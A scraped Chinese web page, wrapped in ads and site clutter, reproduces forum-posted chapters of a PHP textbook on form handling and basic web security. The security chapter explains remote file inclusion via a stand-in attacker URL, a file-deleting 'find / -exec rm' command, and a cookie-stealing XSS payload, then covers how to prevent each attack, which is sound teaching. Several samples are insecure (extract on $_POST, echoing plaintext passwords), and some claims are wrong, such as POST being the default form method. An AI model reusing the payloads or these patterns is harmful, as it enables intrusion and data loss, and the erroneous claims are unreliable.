web开发时,需要对用户输入的cron 每一个小时值都限制么

更好的工作机会
在100offer,提交一份个人资料,一周内即会有5-10家Top互联网公司主动向你发出邀请。100offer确保你的隐私万无一失,同时Consultant将为你全程提供专业服务。
最具价值web全栈课程
只做前端开发培训的好学校,专注于多方向全栈工程师培养。前端名师邵山欢亲自授课,课程涵盖HTML5、CSS3、Node.js、Angular、React诸多课程,免费视频广受学生好评。
跟牛人学前端
跟牛人学前端
妙味大前端自学宝典
妙味课堂2016年JavaScript课程大纲震撼升级、全栈来袭!
前端最新干货
前端最新干货
web在线直播课
潭州教育是中国较早的在线教育平台,教学内容涵盖网络营销,java,javascript,jquery,android,ios,mysql,围棋,刺绣,养殖,农业,手艺,网页设计,平面设计,影视后期,CAD建筑机械,网络营销,商战智慧,办公软件,三维设计,工业设计,淘宝摄影,英语,音乐,大学代理,Photoshop教程,
Max教程,Maya教程,CAD教程,会声会影教程,AI教程,淘宝开店,摄影教程,免费教程,素材下载等众多在线学习精品课程。经过10年的发展,潭州教育已经发展为中国规模较大的在线教育平台。
JavaScript 代码片段
精心挑选的有用的 JavaScript 代码片段,你可以在30秒或更短的时间内理解。
Parcel 中文文档
快速,零配置的 Web 应用程序打包器
您的位置: » 分类:
» 文章: 前端开发中Cookie那些事儿
您可能感兴趣的文章
近期最热文章
- 2,620 - 1,439 - 1,076
关注WEB前端开发公众号豆丁微信公众号
君,已阅读到文档的结尾了呢~~
java web实践专题
扫扫二维码,随身浏览文档
手机或平板扫扫即可继续访问
java web实践专题
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由:
将文档分享至:
分享完整地址
文档地址:
粘贴到BBS或博客
flash地址:
支持嵌入FLASH地址的网站使用
html代码:
&embed src='http://www.docin.com/DocinViewer--144.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布,请您等待!
3秒自动关闭窗口前端工作面试问题-前端开发博客 最新文章
推荐文章 2833Views 2349Views 2345Views 1139Views 2165Views热门文章
83,674Views
17,720Views
15,335Views
14,135Views
11,489Views
8,241Views对这篇文章不满意吗?百度搜索:");表单——处理用户输入
表单——处理用户输入
提到Web开发,就不得不提到HTML,它在若干年以来一直作为Web用户界面设计的事实标准。虽然现在WAP/XML等页面脚本的使用使得HTML作为一枝独秀的形势难以维系,但是如果要编写前端PHP的Web应用,开发者仍然需要了解HTML语言,尤其是HTML的表单部分。
在本章,我们将学习如下内容: &O使用Dreamweaver设计HTML表单
&O使用PHP发送与接收表单数据
&OPHP表单多页的传值及处理
&O使用PHP验证用户输入 &O在PHP中防止一些轻量级的攻击 &OPHP的两种会话管理方式:COOKIE和SESSION &O规划我们的Web应用程序
5.1 表单与HTML
HTML是一种简单的标记语言,为使用者提供了极大的灵活性,这一点使它很容易学习和编写,也同样是由于这一点,太多的网页设计人员对HTML的设计与编码几乎为滥用,导致一个页面在IE、Firefox、Mozila几个不同浏览器中显示得千差万别。 如今的Web设计已经启用新的标准,旨在使网页的HTML只包含内容和信息,以标准HTML和CSS(级联样式表)存储信息的方式,也就是现在流行的DIV+CSS设计标准。
有一些人建议使用XML来取代HTML语言。虽然XML有这样那样的强大功能,不过因为入门的门槛较高,让人望而生畏,而且目前有太多的HTML型网站,因此目前沿行的标准是HTML与XML的兼容规格,叫做XHTML,用以从HTML过渡到XML。在本书中的代码都是基于XHTML兼容性的,建议你也将XHTML应用到Web项目中。创建和处理表单是PHP开发者的一个重要能力指标。下面我们开始介绍如何设计表单。
5.2设计表单
表单是Web应用中最常用的组件,由提交按钮以及其他相关元素组成。表单被应用在各个领域中,用于实现注册用户、填写银行账户和登录等功能。
表单使用&form&作为开始标签,以&/form&结尾,否则将不起任何作用。在一个HTML页面中允许有若干个表单,在编写时以表单的名字(name)和Form ID作为它们之间的区分。 下面是最简单的表单,代码如下:PHP代码:&form& &&&&&&&input&type="submit"&/& &/form&
这个表单在浏览器上只会显示一个按钮“提交查询内容”字样,没有太多的意义。如果要提交数据并形成一个完整的表单,需要在&form&标签增加两个比较重要的属性标签:action和method,如以下表单所示:PHP代码:&form&name="regform"&id="regform"&action="getPasswd.php"&method="post"& &&&&&电子邮件:&input&type="text"&size=30&name="email"&value=""& &&&&&&input&type="submit"&value="确&&定"&name="btnSubmit"&& &/form&
其中,action标签指的是接收处理结果的文件位置,当action值为空时,则提交给当前文件本身,如果action的值为其他文件或URL,则提交给该文件或URL地址处理。 method标签是描述提交数据时使用的方法,它有两种值:GET和POST,如果没有设置method属性或该属性为空值,浏览器默认method的值为POST方法。 下面是处理POST表单的方法。 例5-1:getPasswd.php ?C 接受POST表单提交的值PHP代码: &?php& &&&$action&=&$_SERVER['PHP_SELF']; &&&if&($_SERVER['REQUEST_METHOD']&==&'POST')&{& &&&&&&echo&'使用POST方法传递表单值'; &&&&&&echo&"$_POST[email]";& &&&}& ?&
&form&name="regform"&id="regform"&action="&?php&echo&$action;?&"&method="post"& &&&&电子邮件:&input&type="text"&size=30&name="email"&value=""& &&&&&input&type="submit"&value="确&&定"&name="btnSubmit"& &/form& <font color="#.3GET与POST的区别
如果要在浏览器中发送表单或数据给服务器端,使用GET或POST方法都能实现。GET方法是在访问URL时,使用浏览器地址栏来传递值。我们可以在很多网站上看到这类URL串,图5-1所示的就是使用GET方法传递参数。
GET方法方便直观,缺点是访问该网站的用户也可以修改URL串后发送给服务器,如果程序处理得不够好很容易出错,而且GET传递的字符串长度不能超过250个字符,如果超长,浏览器会自动截断,导致数据缺失。另外,GET方法不支持ASCII字符之外的任何字符,比如包含有汉字或其他非ASCII字符时,需要使用额外的编码操作,虽然有时候浏览器也能自动完成(可以使用url_encode和url_decode函数,使用方法详见2.9.2节)。
POST方法发送变量数据时,对于用户来说是不透明的,按HTTP协议来说,数据附加于header的头信息中,用户不能随意修改,这对于Web应用程序而言,安全性要好得多,而且使用POST可以发送大体积的数据给Web服务器。
因为POST是随HTTP的header信息一起发送的,当触发POST表单提交后,如果用户浏览页面时单击“后退”按钮,浏览器不会自动重发POST数据。如果用户此时单击“刷新”按钮,将会有“数据已经过期,是否重新提交表单”的提示,这一点不如GET使用方便。使用GET传值时,即便用户使用“后退”或“刷新”按钮,浏览器的URL地址也是仍然存在的。
因此,我们在开发中需要根据实际应用灵活选择GET和POST来提交表单数据。
值得一提的是,如果在HTML中缺少表单结束标记&/form&,那么整个表单是不会触发任何提交动作的。在实际开发时,一些粗心的人会发现单击按钮没有任何反映,其实细心检查一下表单的代码就可以了,有时即使少写了一个HTML字符,浏览器也不会替我们干活的。 附件: 您所在的用户组无法下载或查看附件
昵称: PHPChina &时间:
昵称: forest &时间:
昵称: forest &时间:
该脚本将生成一列单选按钮组,名称为city_id,默认选项为024-“沈阳”。 2.动态生成多选项下拉列表菜单。PHP代码: &?php &&&function&generate_checkboxes($name,$options,&$default=array())&{ &&&&&&if&(!is_array($default)){ &&&&&&$default&=&array(); &&&&&&}
&&&foreach($options&as&$value&=&&$label)&{ &&&&&&$html&.=&"&input&type=checkbox&"; &&&&&&if&(in_array($value,&$default)){ &&&&&&&&&$html&.=&"checked&"; &&&&&&}
&&&&&&$html&.=&"name=\"{$name}[]\"&value=\"$value\"&"; &&&&&&$html&.=&$label&.&"&br&"; &&&} &&&return($html); &&&}
&&&$interests&=&array("音乐"&=&&"音乐", &&&&&&&&&&&&&&&&&&&&&&"电影"&=&&"电影", &&&&&&&&&&&&&&&&&&&&&&"互联网"=&&"互联网", &&&&&&&&&&&&&&&&&&&&&&"旅游"&=&&"旅游"); &&&$html&=&generate_checkboxes("interests",$options,&$interests); ?&
选择您的爱好: &&&&form&action="interests.php"&method=post& &&&&?php&echo&$html;?& &&&&input&type=submit&value="继续"& &/form& 3.生成多选下拉列表菜单。PHP代码: &?php& &&&$options&=&array(&'1'&=&&'请选择',& &&&&&&&&&&&&&&&&&&&&&'news'&=&&'新闻',& &&&&&&&&&&&&&&&&&&&&&'events'&=&&'事件',& &&&&&&&&&&&&&&&&&&&&&'publications'&=&&'稿件'&);& &&&$default&=&"news"; &&&//默认已选择的项 &&&$html&=generate_muilti_option("select",&$options,&$default); &&&echo&$html;
&&&function&generate_muilti_option&($name,$options,&$default){ &&&//建立一个允许多选的列表单 &&&&&&echo&'&select&name="'.$name.'[]"&id="'.$name.'[]"&multiple="multiple"&';& &&&&&&foreach(&$options&as&$value&=&&$option&)&{& &&&&&&&&&echo&'&option&value="'&.&htmlspecialchars(&$value&)&.&'"'&;& &&&&&&&&&if(&$default&==&$value&)&{& &&&&&&&&&&&&echo&'&selected';& &&&&&&&&&}& &&&&&&&&&echo&'&'&.&htmlspecialchars(&$option&)&.&'&/option&'; &&&&&&}& &&&&&&echo&'&/select&';& } ?&
一般动态生成的菜单,多为从数据库取得数据或数据数组,转换成动态HTML菜单,也可以手工创建。
昵称: PHPChina &时间:
该例中用到的$_SERVER服务器变量有如下几个: &OHTTP_REFERER&&保存一个完整的来源URL地址。 &OSERVER_NAME 当前的服务器名称。 &OPHP_SELF 当前脚本的完整路径,包括文件名。 我们可以通过“http:// &SERVER_NAME&& PHP_SELF & == &HTTP_REFERER&”来比较,如果相同,则是合法的表单提交,否则不予处理。运行例5-2脚本,单击“提交”按钮后的结果如图5-2所示。
5.5.2 一个完整表单处理 前面我们已经了解了处理表单的简单方式。下面我们将创建一个复杂的表单,代码如下所示。PHP代码:&form&action="someform.php"&method="post"& &&&&table&width="541"&border="0"& &&&&&&&tr& &&&&&&&&&&td&width="26%"&姓名:&/td& &&&&&&&&&&td&width="74%"&
&&&&&&&&&&&&&input&type="text"&name="username"&value="raymond"&id="username"&/&
&&&&&&&&&&/td& &&&&&&&/tr& &&&&&&&tr& &&&&&&&&&&&td&密码:&/td& &&&&&&&&&&&td&
&&&&&&&&&&&&&&input&type="password"&name="password"&maxlength="10"&id="password"&/&
&&&&&&&&&&&/td& &&&&&&&/tr& &&&&&&&tr& &&&&&&&&&&td&年龄:&/td& &&&&&&&&&&td& &&&&&&&&&&&&&select&name="age"& &&&&&&&&&&&&&&&&option&value="&16"&小于16&/option& &&&&&&&&&&&&&&&&option&value="16-30"&selected&16-30&/option& &&&&&&&&&&&&&&&&option&value="31-50"&31-50&/option& &&&&&&&&&&&&&&&&option&value="51-80"&51-80&/option& &&&&&&&&&&&&&/select& &&&&&&&&&&/td& &&&&&&&/tr& &&&&&&&tr& &&&&&&&&&&td&valign="top"&自我介绍:&/td& &&&&&&&&&&td&&textarea&name="intro"&rows="3"&cols="50"&id="intro"&请输入您的自我介绍&/textarea&
&&&&&&&&&&/td& &&&&&&&/tr& &&&&&&&tr& &&&&&&&&&&td&&br&/&体育爱好:&&/td& &&&&&&&&&&td&&input&type="radio"&name="fave_sport"&value="tennis"&checked&网球
&&&&&&&&&&&&&&&&input&type="radio"&name="fave_sport"&value="football"&足球
&&&&&&&&&&&&&&&&input&type="radio"&name="fave_sport"&value="baseball"&篮球 &&&&&&&&&&&&&&input&type="radio"&name="fave_sport"&value="polo"&保龄球&
&&&&&&&&&&/td& &&&&&&&/tr& &&&&&&&tr& &&&&&&&&&&td&&开发语言:&/td& &&&&&&&&&&td&&input&name="from"&type="hidden"&id="from"&value="注册表单"& &&&&&&&&&&input&type="checkbox"&name="languages[]"&value="php"&checked&id="languages[]"&php &&&&&&&&&&input&type="checkbox"&name="languages[]"&value="java"&id="languages[]"&java &&&&&&&&&&input&type="checkbox"&name="languages[]"&value="perl"&id="languages[]"&perl &&&&&&&&&&input&type="checkbox"&name="languages[]"&value="cpp"&id="languages[]"&c++ &&&&&&&&&&input&type="checkbox"&name="languages[]"&value=".net"&id="languages[]"&.NET &&&&&&&&&&input&type="checkbox"&name="languages[]"&value="delphi"&id="languages[]"&delphi&
&&&&&&&&&&/td& &&&&&&&/tr& &&&&&&&tr& &&&&&&&&&&td&valign="top"&&br& &&&&&&&&&&&&&label&&开发工具:&/label&&/td& &&&&&&&&&&td&&select&name="develop_ide[]"&size="5"&multiple&id="develop_ide[]"& &&&&&&&&&&&&&&&&&option&value="ZDE"&selected&Zend&Studio&/option& &&&&&&&&&&&&&&&&&option&value="Eclipse"&Eclipse&/option& &&&&&&&&&&&&&&&&&option&value="Editplus"&Editplus&/option& &&&&&&&&&&&&&&&&&option&value="Ultraedit"&Ultraedit&/option& &&&&&&&&&&&&&&&&&option&value="Other"&Other&/option& &&&&&&&&&&&&&&/select&&/td& &&&&&&&/tr& &&&&&&&tr& &&&&&&&&&&td&valign="top"&&&/td& &&&&&&&&&&td&&input&type="submit"&name="btn_submit"&value="提交"&/&&/td& &&&&&&&/tr& &&&&/table& &/form&
该表单包括了常用表单元素:单行文本框、多行文本框、单选项(radio)、多选项(checkbox),以及多选菜单。下面进行详细的说明。 &Omaxlength是与密码文本框关联的属性,它限制用户输入密码的最大长度为10个字符。
&Oage列表框是列表菜单,它的命名属性下都有自己的值供选择。selected是一个特定的属性选择元素,如果某个option附加有该属性,在显示时就把该项列为第一项显示。 &Ointro文本框中的内容,按照rows和cols显示文字、行和列宽。 &Ofave_sport是一组单选按钮(radio),我们要按组命名元素名称,比如这一组单选按钮都叫做fave_sport,用户只可选择一个,发送脚本端也只存在一个值。
&O和单选项一样,所有多选项成员也须有同名的属性,而属性名称需要添加括号[],这样就把多选项的值以数组形式发送给PHP,languages就是这种形式。 &Ochecked标签是指单选项和多选项中的某个值,默认已经被选择。
上面表单的显示画面如图5-3所示。
因为上面HTML中的form表单使用的是POST方法传递数据,所以用户提交的数据会保存到$_POST或$_REQUEST的超级全局数组中,我们根据$_POST数组中的值就可以处理提交的数据。 将上面表单中数据提交到someform.php脚本,该脚本的处理逻辑如下:PHP代码: &?php &&&//通过判断按钮的变量名是否在$_POST中定义,如果有表示该表单已提交 &&&if(isset($_POST["btn_submit"])){ &&&if&(empty($_POST['username'])){ &&&&&&echo&"您没有输入用户名"; &&&&&&exit(0); &&&}
&&&if&(empty($_POST['password'])){ &&&&&&echo&"您没有输入密码:&"; &&&&&&exit(0); &&&}
&&&echo&"您的用户名:&".$_POST['user_name']."&br&/&"; &&&echo&"您的密码(明文):&".$_POST['password']."&br&/&"; &&&echo&"您的年龄:&".$_POST['age']."&br&/&"; &&&if&(!empty($_POST['languages'])){ &&&&&&echo&"您选择的语言为:"; &&&&&&//处理用户选择兴趣的checkbox按钮产生的数组 &&&&&&foreach&($_POST['languages']&as&$lang){ &&&&&&&&&echo&$lang.&"&&"; &&&&&&} &&&}&else&{ &&&&&&echo&"您没有输入任何兴趣爱好"; &&&}
&&&if&(!empty($_POST['develop_ide'])){ &&&&&&echo&"您使用的开发工具为:"; &&&&&&//处理用户多选开发工具菜单产生的数组 &&&&&&foreach&($_POST['develop_ide']&as&$ide){ &&&&&&&&&echo&$ide.&"&&"; &&&&&&} &&&}&else&{ &&&&&&echo&"您没有选择开发工具"; &&&}
&&&echo&"您的自我介绍:&".nl2br($_POST['intro'])."&br&/&"; &&&echo&"网页隐藏值(通过hidden标签值传递):&".$_POST['from']."&br&/&"; } ?&
说明:使用POST方式提交表单,通过HTTP协议的header部分传递表单数据,理论上数据的大小无上限。不过,在使用PHP进行POST提交时,文件大小受PHP配置文件(php.ini)限制,我们可以修改php.ini文件中的post_max_size参数,可将默认的2M字节,修改为自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。 附件: 您所在的用户组无法下载或查看附件
昵称: PHPChina &时间:
该表单提示用户输入一个名字,完成并提交后,脚本会把提交的名字显示在浏览器上,如图5-4所示。
注意:prefix前缀参数是必选的,如果未指定前缀,或者指定一个空字符串作为变量前缀,PHP会抛出一个E_NOTICE错误。 import_request_variables()函数为我们提供一个中间方法,适用于如下几种情况: <font color="#.当用户不能使用超级变量数组时; 2.在php.ini配置文件的register_globals参数为Off(PHP 5之后的版本默认为Off)时,使用import_request_variables将GET/POST/Cookie这几个超级变量数组导入到全局作用域中。 3.在开发时,只要声明了引入的变量范围,就不必写$_GET或$_REQUEST一堆很长的超级全局数组名称了。
<font color="#.6.2使用extract()函数
我们可以使用extract()函数,比如在接收页面脚本的最前面加上extract($_POST);extract($_GET);这样的语句,导出几个用于表单处理的超级变量数组值,如以下代码所示: @extract(i_addslashes($_POST), EXTR_OVERWRITE); @extract(i_addslashes($_GET), EXTR_OVERWRITE); @extract(i_addslashes($_COOKIE), EXTR_OVERWRITE); @extract(i_addslashes($_SESSION), EXTR_OVERWRITE); 我们看一个使用extract导出为正常变量的脚本例子:
PHP代码: &?php &&&//&将$_GET和$_POST超级变量数组获取的变量转为正常的变量,这样直接显示变量名称即可 &&&extract($_GET); &&&extract($_POST); &&&echo&"您好,&$username&$age"; ?&
&form&action=""&method="post"& &&&姓名:&input&type="text"&name="username"&id="username"&/& &&&年龄:&select&name="age"& &&&&&&&&&&&option&value="&16"&小于16&/option& &&&&&&&&&&&option&value="16-30"&selected&16-30&/option& &&&&&&&&&&&option&value="31-50"&31-50&/option& &&&&&&&&&&&option&value="51-80"&51-80&/option& &&&&&&&&/select&&/td& &&&&input&type="submit"&name="btn_submit"&value="提交"&/& &/form& 实现的界面如图5-5所示。
5.7多页面间传递数据
当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。 我们可以使用如下方法进行处理。 &O使用表单的隐含元素(hidden)。 &O把当前表单的数据保存在SESSION中(详情请参见会话一章)。 &O把当前表单的数据保存在MySQL数据库中。 你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。 对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下: &INPUT TYPE=&HIDDEN& NAME=&Name& VALUE=&&?php echo $_REQUEST['Name']; ?&&& &INPUT TYPE=&HIDDEN& NAME=&Password& VALUE=&&?php echo $_REQUEST['Password']; ?&&& 当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL传递的值。 附件: 您所在的用户组无法下载或查看附件
昵称: PHPChina &时间:
当用户单击“提交”按钮后,该按钮将变为灰色不可用状态,如图5-6所示。
图5-6 上面的例子中使用OnClick事件检测用户的提交状态,如果单击了“提交”按钮,该按钮立即置为失效状态,用户不能单击按钮再次提交。 还有一个方法,也是利用JavaScript的功能,但是使用的是OnSubmit()方法,如果已经提交过一次表单,将立即弹出对话框,代码如下:PHP代码:&script&language="javascript"& &!-- &&&var&submitcount=0; &&&function&submitOnce&(form){ &&&&&&if&(submitcount&==&0){ &&&&&&&&&submitcount++; &&&&&&&&&return&true; &&&&&&}&else{ &&&&&&&&&alert("正在操作,请不要重复提交,谢谢!"); &&&&&&&&&return&false; &&&&&&} &&&} //--& &/script&
&form&name="the_form"&method="post"&action=""&&& &&&&input&name="text"&type="text"&id="text"&/& &&&&input&name="cont"&value="提交"&type="submit"&& &/form& 在上例中,如果用户已经单击“提交”按钮,该脚本会自动记录当前的状态,并将submitcount变量自加1,当用户试图再次提交时,脚本判断submitcount变量值非零,提示用户已经提交,从而避免重复提交表单。 2.使用Cookie处理使用Cookie记录表单提交的状态,根据其状态可以检查是否已经提交表单,请见下面的代码:PHP代码: &?php &&&if(isset($_POST['go'])){ &&&&&setcookie("tempcookie","",time()+30); &&&&&header("Location:".$_SERVER[PHP_SELF]); &&&&&exit(); &&&} &&&if(isset($_COOKIE["tempcookie"])){ &&&&&setcookie("tempcookie","",0); &&&&&echo&"您已经提交过表单"; &&&} ?&
如果客户端禁止了Cookie,该方法将不起任何作用,这点请注意。关于Cookie的详细介绍,请参阅第10章“PHP会话管理”。 3.使用Session处理利用PHP的Session功能,也能避免重复提交表单。Session保存在服务器端,在PHP运行过程中可以改变Session变量,下次访问这个变量时,得到的是新赋的值,所以,可以用一个Session变量记录表单提交的值,如果不匹配,则认为是用户在重复提交,请见如下代码:PHP代码: &?php &&&session_start(); &&&//根据当前SESSION生成随机数 &&&$code&=&mt_rand(0,1000000); &&&$_SESSION['code']&=&$code; ?&
在页面表单上将随机数作为隐藏值进行传递,代码如下:
&input type=&hidden& name=&originator& value=&&?=$code?&&&
在接收页面的PHP代码如下:PHP代码: &?php &&&session_start(); &&&if(isset($_POST['originator']))&{ &&&if($_POST['originator']&==&$_SESSION['code']){ &&&&&&//&处理该表单的语句,省略 &&&}else{ &&&&&&echo&‘请不要刷新本页面或重复提交表单!’; &&&} } ?&
关于Session的内容,我们会在第10章“PHP会话管理”详细讨论,你可以直接查阅这一章,然后再返回本节继续阅读。
4.使用header函数转向除了上面的方法之外,还有一个更简单的方法,那就是当用户提交表单,服务器端处理后立即转向其他的页面,代码如下所示。PHP代码:if&(isset($_POST['action'])&&&&$_POST['action']&==&'submitted')&{ &&&//处理数据,如插入数据后,立即转向到其他页面 &&&header('location:submits_success.php'); }
这样,即使用户使用刷新键,也不会导致表单的重复提交,因为已经转向新的页面,而这个页面脚本已经不理会任何提交的数据了。
5.8.4表单过期的处理
在开发过程中,经常会出现表单出错而返回页面的时候填写的信息全部丢失的情况,为了支持页面回跳,可以通过以下两种方法实现。 1.使用header头设置缓存控制头Cache-control。 header('Cache-control: private, must-revalidate'); //支持页面回跳
2.使用session_cache_limiter方法。 session_cache_limiter('private, must-revalidate'); //要写在session_start方法之前 下面的代码片断可以防止用户填写表单的时候,单击“提交”按钮返回时,刚刚在表单上填写的内容不会被清除: session_cache_limiter('nocache');
session_cache_limiter('private');
session_cache_limiter('public');
session_start(); //以下是表单内容,这样在用户返回该表单时,已经填写的内容不会被清空 将该段代码贴到所要应用的脚本顶部即可。 Cache-Control消息头域说明Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。 请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh和only-if-cached,响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate和max-age。各个消息中的指令含义如表5-3所示。 表5-3
缓存指令说& & 明public指示响应可被任何缓存区缓存private指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效no-cache指示请求或响应消息不能缓存no-store用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存max-age指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应min-fresh指示客户机可以接收响应时间小于当前时间加上指定时间的响应max-stale指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息 有关Session和Cookie的介绍,详细内容请参阅第10章“PHP会话管理”。
<font color="#.8.5判断表单动作的技巧
表单可以通过同一个程序来分配应该要处理的动作,在表单中有不同的逻辑,要怎么判别使用者按下的按钮内容不过是个小问题。 其实只要通过提交按钮的name 就可以知道了,表单在提交出去的时候,只有按下的submit类型的按钮才会被送到表单数组去,所以只要判断按钮的值就可以知道使用者按下哪一个按钮,以如下表单为例:PHP代码:&FORM&method="POST"&Action=test.php& &&&&input&type=submit&name="btn"&value="a"& &&&&input&type=submit&name="btn"&value="b"& &/FORM&
当使用者按下“a”按钮的时候btn=a,按下“b”按钮,则btn=b。 另外也可以通过提交按钮的名字(name)来判断,请见如下代码:PHP代码:&FORM&method="POST"&Action=test.php& &&&&input&type=submit&name="a"&value="提交A"& &&&&input&type=submit&name="b"&value="提交B"& &/FORM&
这样只要POST/GET的参数里面有a或b,就可以知道按下的按钮是哪个。PHP代码: &?php &&&print_r($_POST); ?&
附件: 您所在的用户组无法下载或查看附件
昵称: PHPChina &时间:
尽管这段代码看上去非常简单,并且也没有明显的语法错误,好像没有太多安全问题,但是只要存在一个缺陷,就可能导致一个攻击者使用这个程序行使“管理员”的权限。最多也最容易发生的问题是程序员使用动态的文件包括语句来处理页面流程,如以下代码所示。PHP代码: &?php &&&include_once&$module.&'.php'; ?&
这个脚本可以被攻击者利用,在服务器上执行任意PHP代码。 如果在浏览器上的URL GET参数,简单地加入?module=http://hackerweb.com/evilscript,会是什么效果?如果PHP接收到这个URL,会把$module变量等于。当运行到include()函数时,PHP会尝试在example.com包含这个evilscript.php,以及执行这个程序的代码,而evilscript可能包含如下的代码:PHP代码: &?php &&&'find&/&-exec&rm&"{}"&";"'; ?&
这串代码可以访问我们的服务器,并且把服务器上所有的文件全部删除! 还有一些潜在的危险,那就是register_globals的一些特性,我们一步一步地处理: 首先,我们要在php.ini中将register_globals设置为Off; 第二步,将程序里的$admin,全部换成$_SESSION['admin']; 第三步,我们要解决的是,在程序进行包含操作之前,检查在本地机器中该文件是否存在,如果不存在,则不进行包含操作,比如进行如下的改进:PHP代码: &?php &&&if&(file_exists($module.&'.php'))&{ &&&&&&include&$module.&'.php'; &&&} ?&
2.客户端恶意脚本& & 常见Web站点不安全的编程漏洞包括:密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。 下面我们一起讨论跨站式XSS脚本攻击技术。 跨站式XSS漏洞主要是因为HTML没有明确区分代码和数据;其次,程序在将用户数据发送回浏览器时没有进行有效的转义,这导致包含有引号的数据被放入页面中。
一个攻击者可能利用一个客户端脚本来执行一些片断,例如JavaScript或VBScript,来窃取Cookies或其他敏感数据,这些攻击只需要通过插入一行HTML数据到我们的网站就能实施。 例如,这个攻击者可能将一些代码输入到我们网站的文本框,如果我们的程序没有过滤HTML标志,该代码将会被插入到网站数据库中,比如,图5-7所示的用户界面。
这是一个显示用户注册的页面,攻击者可能会在文本框中连续输入如下代码:
&script language='JavaScript'&alert(document.cookie);&/script&
如果没经过滤就将数据插入到数据库中,在点击查看用户信息时,将会出现图5-8所示的效果。
未经验证输入的后果是,攻击者利用XSS 脚本攻击我们的网站,并有可能取得管理员登录的Cookie信息。 另外,在网站的前台页面,如果攻击者在上面的JavaScript中加入一个无限循环,可能就比较麻烦了,浏览者可能需要结束浏览器进程才能避免对话框的再次出现,那么该访问者可能再也不会进入我们的网站。 3.预防XSS攻击的方法预防XSS攻击最简单的方法就是过滤从表单来的数据,可以使用PHP函数以及数据库的过滤函数。我们使用如下函数或语句。 &O使用htmlspecialchars()解码“'”,“&”,“&”,“&”和“&”这些HTML编码,前面我们说过使用&&htmlentities()转换任意的HTML超文本实体,主要就是过滤输出(过滤&script&脚本标签等),如果允许使用HTML代码,就把输出变量用htmlentities再过滤一下,否则使用strip_tags函数。 &Ostrip_tags()函数会去除任何的HTML代码。 &O每当权限级别发生改变的时候,使用session_regenerate_id()函数改变sessionid,如以下代码所示。PHP代码: &?php &&&$str&=&strip_tags($_POST['message']); &&&/*&将提交数据解码为HTML字符实体&*/ &&&$str&=&htmlentities($str); &&&/*&将换行符转换为&&br&/&&*/ &&&echo&nl2br($str); &&&/*&转换与替换HTML字符&*/ &&&$str&=&strip_tags($_POST['message'],&'&b&&p&&i&&u&'); &&&$str&=&htmlentities($str); &&&echo&nl2br($str); ?&
下面是一个内容过滤的完整代码: PHP代码:&html& &&&&title&对输入内容的过滤&/title& &&&&meta&http-equiv="Content-Type"&c&/& &&&&/head& &body& &&&&div&style="width:&500&text-align:&"&
&?php &&&//如果接收到用户的提交请求. &&&if&($_POST['submitted']&==&"yes"){ &&&&&&//清理空格字符 &&&&&&$yourname&=&trim($_POST['yourname']); &&&&&&//过滤文本中的HTML标签. &&&&&&$yourname&=&strip_tags&($yourname); &&&&&&//将文本中的内容转换为HTML实体. &&&&&&$yourname&=&htmlspecialchars&($yourname); &&&&&&//加入字符转义. &&&&&&$yourname&=&addslashes&($yourname);
&&&&&&//显示提交的结果. &&&&&&echo&$yourname&.&"&br&/&";
?& &&&&a&href="Javascript:history.back(-1);"&重试&/a& &?php &&&} &&&//如果没有提交,则显示表单. &&&if&($_POST['submitted']&!=&"yes"){ ?&
&form&action=""&method="post"& &&&&p&过滤表单的内容:&/p& &&&&input&type="hidden"&name="submitted"&value="yes"&/& &&&我们的名字:&&input&type="text"&name="yourname"&maxlength="150"&/&&br&/& &&&&input&type="submit"&value="Submit"&style="margin-top:&10"&/& &/form&
&?php &&&} ?&
&/div& &/body& &/html& &O使用相关函数:htmlspecialchars_decode($str) 该函数是PHP 5.1版本新增的函数,功能是对已经转换为HTML实体的字符做反向的操作,请见下面的脚本例子:PHP代码: &?php &&&$str&=&'&p&HP5.1以后的新增函数&htmlspecialchars_decode()&-&&"&/p&'; &&&echo&htmlspecialchars_decode($str);
&&&//&使用ENT_NOQUOTES,对引用符号不做转换 &&&echo&htmlspecialchars_decode($str,&ENT_NOQUOTES); ?&
除了用以上普通方法来预防XSS恶意攻击外,使用Ajax技术对XSS漏洞也有一定预防作用,有关Ajax技术请参见第19章。
5.9.2预防SQL注入
好像有一段时间,我们忽略了这个很早就出现的问题,在2000年前后,若干ASP网站被这种漏洞击中,多少网站一夜之间被黑客攻击。
千万不要小看这个问题,其实现在这个问题仍然存在,在一些PHP脚本中,尤其在一些开源的用户管理程序中。很多这种漏洞是因为我们编写程序和设计数据库时的漏洞造成的,所以作为工程师一定要注意。 它到底有多重要呢?
完全的解决方案为:从用户输入中屏蔽错误,去掉不合格的数据,或避开细节范围的SQL特征。其实数据库管理系统的扩展接口专门提供了避免这个问题的函数,用它们就可以防止SQL注入。
